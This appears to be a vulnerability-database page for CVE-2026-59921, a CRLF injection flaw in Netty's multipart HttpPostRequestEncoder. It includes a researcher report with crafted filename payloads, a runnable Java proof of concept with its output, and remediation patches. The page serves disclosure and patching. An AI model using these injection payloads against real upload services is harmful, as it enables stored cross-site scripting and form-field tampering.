Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
☕
☕ Maven
Not in CISA KEV
MEDIUM severity

CVE-2026-59921 — netty-codec-http

MEDIUM

CVE-2026-59921 is a medium-severity (CVSS 5.7) CWE-93 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below.

Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

Also known asGHSA-gcjf-9mgh-3p7g
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 15, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59921.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs39th percentile — riskier than 39% of all scored CVEsHighest risk
0.00%0.32%0.64%0.96%0.3%0.2%0.5%0.5%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-59921 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 388,997 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected
☕io.netty:netty-codec-http☕io.netty:netty-codec-http

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-http multipart)
Componentio.netty.handler.codec.http.multipart.HttpPostRequestEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting
ImpactMIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition
CVSS 3.1 Score8.1 (High)
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow (attacker must be able to upload files with controlled filenames)
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactNone

2. Affected Components

The following classes in the codec-http module are affected:

  • io.netty.handler.codec.http.multipart.HttpPostRequestEncoder — directly concatenates unvalidated filename/name into Content-Disposition MIME headers (lines 519, 633, 674, 682, 686-688)
  • io.netty.handler.codec.http.multipart.DiskFileUpload — setFilename() only checks null (line 78)
  • io.netty.handler.codec.http.multipart.MemoryFileUpload — setFilename() only checks null (line 60)
  • io.netty.handler.codec.http.multipart.MixedFileUpload — setFilename() delegates without validation (line 62)

3. Vulnerability Description

Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.

Root Cause

In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:

// Line 674 (attachment mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
    + HttpHeaderValues.ATTACHMENT + "; "
    + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Lines 686-688 (form-data mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
    + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
    + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Line 519 (attribute name):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
    + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION

The setFilename() method in all FileUpload implementations only checks for null:

// DiskFileUpload.java:77-79
public void setFilename(String filename) {
    this.filename = ObjectUtil.checkNotNull(filename, "filename");
    // NO CRLF VALIDATION
}

Comparison with Similar Fixed CVEs

This vulnerability follows the same pattern as:

CVEComponentFix
GHSA-jq43-27x9-3v86SmtpRequestEncoder — SMTP command injectionAdded CRLF validation in SmtpUtils.validateSMTPParameters()
GHSA-84h7-rjj3-6jx4HttpRequestEncoder — CRLF in URIAdded HttpUtil.validateRequestLineTokens()

The multipart encoder has no equivalent validation for filenames or field names.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests
  2. The filename of an uploaded file is derived from user-controlled input
  3. The application does not perform its own CRLF sanitization on filenames

Common affected patterns:

  • File upload proxies that forward user-supplied filenames
  • API gateways that construct multipart requests from incoming parameters
  • Microservice communication that passes filenames between services
  • Testing/automation frameworks that use Netty HTTP client with user-defined filenames

5. Attack Scenarios

Scenario 1: Content-Type Override via Filename Injection

An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:

String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";

DiskFileUpload upload = new DiskFileUpload(
    "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);

Wire format:

--boundary
content-disposition: form-data; name="avatar"; filename="photo.jpg"
Content-Type: text/html                    <-- INJECTED: overrides image/jpeg

<script>alert(document.cookie)</script>    <-- INJECTED: XSS payload
--"
content-type: image/jpeg                   <-- Original (now ignored by many parsers)
...

If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.

Scenario 2: Arbitrary MIME Header Injection

String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";

Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.

Scenario 3: Multipart Boundary Confusion

String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";

By injecting a new boundary delimiter, the attacker can:

  • Terminate the current body part prematurely
  • Start a new body part with a different field name
  • Override form fields processed by the server

6. Proof of Concept

Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.*;

import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;

/**
 * PoC: HTTP Multipart Content-Disposition Header Injection via Filename
 *
 * Demonstrates that HttpPostRequestEncoder does not validate filenames
 * for CRLF characters, allowing injection of arbitrary MIME headers
 * into multipart form data.
 */
public class MultipartFilenameInjectionPoC {

    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");

        testFilenameInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    static void testFilenameInjection() throws Exception {
        System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
        System.out.println("-------------------------------------------------------");

        // Create a temporary file for upload
        File tempFile = File.createTempFile("test", ".txt");
        tempFile.deleteOnExit();
        try (FileWriter fw = new FileWriter(tempFile)) {
            fw.write("test content");
        }

        // Malicious filename with CRLF to inject Content-Type header
        String maliciousFilename =
            "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
            "<script>alert(1)</script>\r\n--";

        HttpRequest request = new DefaultHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");

        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
                new DefaultHttpDataFactory(false), request, true,
                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);

        DiskFileUpload fileUpload = new DiskFileUpload(
                "file", maliciousFilename, "application/octet-stream",
                "binary", StandardCharsets.UTF_8, tempFile.length());
        fileUpload.setContent(tempFile);

        encoder.addBodyHttpData(fileUpload);
        encoder.finalizeRequest();

        // Read the encoded multipart body
        StringBuilder body = new StringBuilder();
        while (!encoder.isEndOfInput()) {
            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
            if (chunk != null) {
                body.append(chunk.content().toString(StandardCharsets.UTF_8));
                chunk.release();
            }
        }
        encoder.cleanFiles();

        String encoded = body.toString();
        System.out.println("Malicious filename: " +
            maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
        System.out.println();
        System.out.println("Encoded multipart body:");
        System.out.println("---");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("---");

        boolean hasInjectedHeader = encoded.contains("X-Injected: true");
        boolean hasInjectedScript = encoded.contains("<script>");
        System.out.println();
        System.out.println("Injected X-Injected header: " + hasInjectedHeader);
        System.out.println("Injected script tag: " + hasInjectedScript);
        System.out.println("VULNERABLE: " +
            ((hasInjectedHeader || hasInjectedScript) ?
                "YES - MIME header injection!" : "NO"));

        tempFile.delete();
    }
}

How to Compile and Run

# Build Netty (skip tests)
./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
  -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" MultipartFilenameInjectionPoC.java
java -cp "$JARS:." MultipartFilenameInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Multipart Filename CRLF Injection PoC ===

[TEST 1] Filename CRLF Injection in Content-Disposition
-------------------------------------------------------
Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--

Encoded multipart body:
---
  --88aaade41dbb9f9f\r
  content-disposition: form-data; name="file"; filename="innocent.txt"\r
  Content-Type: text/html\r                          <-- INJECTED
  X-Injected: true\r                                 <-- INJECTED
  \r
  <script>alert(1)</script>\r                        <-- INJECTED XSS
  --"\r
  content-length: 12\r
  content-type: application/octet-stream\r
  content-transfer-encoding: binary\r
  \r
  test content\r
  --88aaade41dbb9f9f--\r
---

Injected X-Injected header: true
Injected script tag: true
VULNERABLE: YES - MIME header injection!


=== PoC Complete ===

7. Impact Analysis

Impact CategoryDescription
ConfidentialityHIGH — Injected headers may bypass access controls or leak tokens
IntegrityHIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation
Content-Type SpoofingOverride application/octet-stream to text/html to serve executable content
Stored XSSInject <script> tags via Content-Type override when uploaded files are served back
Form Field OverrideInject new multipart boundaries to create/override form fields
Downstream InjectionCustom MIME headers may affect middleware, CDN, or storage layer behavior

8. Remediation Recommendations

Option 1: Validate in FileUpload.setFilename() (Recommended)

// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
public void setFilename(String filename) {
    ObjectUtil.checkNotNull(filename, "filename");
    for (int i = 0; i < filename.length(); i++) {
        char c = filename.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "filename contains prohibited CRLF character at index " + i);
        }
    }
    this.filename = filename;
}

Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)

Escape or reject CRLF characters when building Content-Disposition headers:

// HttpPostRequestEncoder.java - add helper method
private static String sanitizeHeaderParam(String value) {
    for (int i = 0; i < value.length(); i++) {
        char c = value.charAt(i);
        if (c == '\r' || c == '\n' || c == '"') {
            throw new ErrorDataEncoderException(
                "Multipart parameter contains prohibited character at index " + i);
        }
    }
    return value;
}

// Then use in Content-Disposition construction:
internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");

Option 3: RFC 2231/5987 Encoding for Filenames

Use proper RFC 2231 encoding for filenames with special characters:

// Encode filename per RFC 5987:
// filename*=UTF-8''encoded%20filename
String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
internal.addValue(... + "filename*=" + encodedFilename + "\r\n");

9. References

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.netty:netty-codec-http≥ 4.2.0.Final&&< 4.2.16.Final4.2.16.Finalio.netty:netty-codec-http:4.2.16.Final
☕Mavenio.netty:netty-codec-httpall versions4.1.136.Finalio.netty:netty-codec-http:4.1.136.Final

Affected Products

1 product · 2 configurations
Application
nettynetty
≥ 4.2.0 && < 4.2.16
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.netty:netty-codec-http to 4.2.16.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59921 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

Moderate: A CRLF injection flaw in the Netty Java networking library's multipart message encoder allows remote attackers with low privileges to inject arbitrary MIME headers. This can lead to Content-Type spoofing, stored cross-site scripting, or manipulation of downstream application logic, compromising data…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-59921 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat build of Quarkus 3.27.4.SP3netty-codec-httpRHSA-2026:47189
Red Hat build of Quarkus 3.33.2.SP3netty-codec-httpRHSA-2026:47172

Frequently Asked Questions

# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) | | **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | **CVSS 3.1 Score** | **8.1 (High)
O3 Security · Impact-Aware SCA

Is CVE-2026-59921 in your dependencies?

Find it across Maven, including transitive dependencies.

CVE-2026-59921: netty-codec — Fixed in 4.2.16.Final